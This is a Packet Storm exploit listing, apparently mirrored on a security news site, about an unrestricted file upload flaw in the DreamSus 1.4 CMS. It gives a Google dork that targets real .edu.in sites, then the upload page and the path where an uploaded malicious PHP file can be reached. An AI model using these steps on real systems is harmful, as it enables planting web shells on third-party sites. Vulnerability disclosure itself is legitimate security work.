Security
Headlines
HeadlinesLatestCVEs

Headline

CMS Ultimate Solutions DreamSus 1.4 Shell Upload

CMS Ultimate Solutions DreamSus version 1.4 suffers from a remote shell upload vulnerability.

Packet Storm
#sql#xss#csrf#vulnerability#web#ios#mac#windows#apple#google#ubuntu#linux#debian#cisco#java#php#perl#auth#ruby#firefox

CMS Ultimate Solutions DreamSus 1.4 Shell Upload

Posted Jul 24, 2023

Authored by indoushka

CMS Ultimate Solutions DreamSus version 1.4 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell

SHA-256 | 687fc9626b0a4c7e675cd7007c558b29ceea1784dee6326f9ae2ef2465dc6ffe

Download | Favorite | View

CMS Ultimate Solutions DreamSus 1.4 Shell Upload

====================================================================================================================================| # Title     : CMS Ultimate Solutions DreamSus v1.4 unrestricted file upload Vulnerability                                        || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : http://dreamsus.com                                                                                                |  | # Dork      : intext:''Designed and Developed by Dreams Ultimate Solutions'' site:edu.in                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] http://127.0.0.1/spcollegejejurieduin/add_testimonial.php <==== Fill in the blanks and choose your malicious file and upload[+] http://127.0.0.1/spcollegejejurieduin/uploads/testimonial/Ev!l.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

File Tags

  • ActiveX (932)
  • Advisory (81,739)
  • Arbitrary (16,155)
  • BBS (2,859)
  • Bypass (1,735)
  • CGI (1,025)
  • Code Execution (7,238)
  • Conference (679)
  • Cracker (841)
  • CSRF (3,334)
  • DoS (23,364)
  • Encryption (2,365)
  • Exploit (51,634)
  • File Inclusion (4,209)
  • File Upload (967)
  • Firewall (821)
  • Info Disclosure (2,755)
  • Intrusion Detection (891)
  • Java (3,036)
  • JavaScript (851)
  • Kernel (6,641)
  • Local (14,428)
  • Magazine (586)
  • Overflow (12,666)
  • Perl (1,423)
  • PHP (5,138)
  • Proof of Concept (2,337)
  • Protocol (3,583)
  • Python (1,531)
  • Remote (30,666)
  • Root (3,575)
  • Rootkit (508)
  • Ruby (612)
  • Scanner (1,637)
  • Security Tool (7,876)
  • Shell (3,177)
  • Shellcode (1,212)
  • Sniffer (894)
  • Spoof (2,196)
  • SQL Injection (16,307)
  • TCP (2,397)
  • Trojan (687)
  • UDP (885)
  • Virus (664)
  • Vulnerability (31,711)
  • Web (9,622)
  • Whitepaper (3,748)
  • x86 (961)
  • XSS (17,866)
  • Other

File Archives

  • July 2023
  • June 2023
  • May 2023
  • April 2023
  • March 2023
  • February 2023
  • January 2023
  • December 2022
  • November 2022
  • October 2022
  • September 2022
  • August 2022
  • Older

Systems

  • AIX (428)
  • Apple (1,994)
  • BSD (373)
  • CentOS (57)
  • Cisco (1,922)
  • Debian (6,794)
  • Fedora (1,691)
  • FreeBSD (1,244)
  • Gentoo (4,322)
  • HPUX (879)
  • iOS (349)
  • iPhone (108)
  • IRIX (220)
  • Juniper (67)
  • Linux (46,241)
  • Mac OS X (685)
  • Mandriva (3,105)
  • NetBSD (256)
  • OpenBSD (484)
  • RedHat (13,599)
  • Slackware (941)
  • Solaris (1,610)
  • SUSE (1,444)
  • Ubuntu (8,755)
  • UNIX (9,269)
  • UnixWare (186)
  • Windows (6,565)
  • Other

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution